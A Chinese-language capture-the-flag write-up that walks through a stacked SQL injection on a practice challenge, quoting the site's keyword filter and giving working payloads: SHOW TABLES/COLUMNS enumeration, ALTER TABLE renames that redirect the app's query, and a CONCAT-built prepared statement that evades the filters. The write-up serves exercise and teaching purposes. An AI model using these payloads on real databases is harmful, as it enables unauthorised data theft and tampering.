首先用'测试一下
    网页回显:

    1. error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

    证明存在sql注入漏洞
    接着使用union select查询数据库,但是发现存在过滤,

    1. return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

    可以看到select,where之类的都被过滤了,并且无视大小写。
    尝试使用堆叠注入

    1. 1';show tables#

    得到以下结果

    1. array(1) {
    2. [0]=>
    3. string(16) "1919810931114514"
    4. }
    5. array(1) {
    6. [0]=>
    7. string(5) "words"
    8. }

    接着查看表中的内容,但因为select被过滤了,所以需要使用show columns

    1. 1';show columns from `1919810931114514`#

    返回

    1. array(6) {
    2. [0]=>
    3. string(4) "flag"
    4. [1]=>
    5. string(12) "varchar(100)"
    6. [2]=>
    7. string(2) "NO"
    8. [3]=>
    9. string(0) ""
    10. [4]=>
    11. NULL
    12. [5]=>
    13. string(0) ""
    14. }

    接着就需要查看flag字段的内容,普通查询肯定是无法使用了,有两种解题思路:

    1. 因为输入1时,网站应该查询的是words表中的内容,那么把1919810931114514的表名改为words,就变成了查询words表了。

    payload:

    1. 1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
    1. 通过预编译绕过检测

    payload:

    1. -1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

    通过CONCAT绕过检测select,接着将查询语句预编译之后执行即可查询。
    但是发现还有一处过滤

    1. strstr($inject, "set") && strstr($inject, "prepare")

    但是这次是使用strstr进行查询,而strstr区分大小写,所以将prepare改成大写即可绕过。